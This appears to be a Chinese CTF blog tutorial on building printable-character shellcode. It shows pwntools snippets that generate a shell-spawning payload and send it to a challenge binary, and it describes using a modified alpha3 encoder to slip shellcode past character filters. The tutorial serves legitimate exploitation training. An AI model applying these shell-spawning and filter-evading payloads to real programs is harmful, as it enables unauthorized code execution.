可见字符shellcode

文章发布时间:

最后更新时间:

文章总字数:
495

预计阅读时间:
1 分钟

利用pwntools自带的shellcraft生成的shellcode 所消耗的字节数比较多 并且还含有很多的不可见字符

1
2
3
4
5
6
from pwn import*
context.arch = "amd64"
io = process("./pwn")
context.log_level = "debug"
shellcode = asm(shellcraft.sh())
io.send(shellcode)

有些题目会对症下药 限制shellcode长度的题目已经屡见不鲜 本篇文章来讲一下限制字符范围的shellcode

国际上普遍采用ascii码作为字符的编码 其中规定了95个可见字符 即打印字符 可以被直接输出 剩下的则是不可见的字符

而pwn题中的可见字符shellcode通常指使用可见字符构成的shellcode

这里我们需要借用alpha3这款工具来将一串不可见的字符shellcode转化为可见字符

手动转化的办法这里就不介绍了 毕竟我也不会 哪天学会了再补充吧

由于官方的alpha3只支持win32 在linux系统中会出现报错 需要我们修改源码 比较麻烦 再加上需要我们自己编译

所以这里直接采用这个师傅的修改版进行下载使用

1
https://blog.csdn.net/SmalOSnail/article/details/105236336

下载指令:

1
git clone https://github.com/TaQini/alpha3.git

其内置了两个脚本和两个文本文件

各自对应32位和64位系统的shellcode生成脚本 我们只需要修改shellcode文本文件中的shellcode 并且指定shellcode的基地址后运行脚本

这里使用open read write函数来写入shellcode

1
2
3
4
5
6
from pwn import*
context.arch = "amd64"
f = open("/home/chen/alpha3/shellcode", 'w')
shellcode = asm(shellcraft.sh())
f.write(shellcode)
f.close()

用python2运行就好了 3的话区分了str和byte型 会导致write出错

随后cd到alpha3目录下 ./shellcode_x??.sh shellcode基地址

这个基地址要怎么看 以mrctf2020_shellcode_revenge这一题为例

其将shellcode的地址赋值给了rax寄存器 那么call rax 就是调用shellcode 所以我们这里的shellcode基地址应该是rax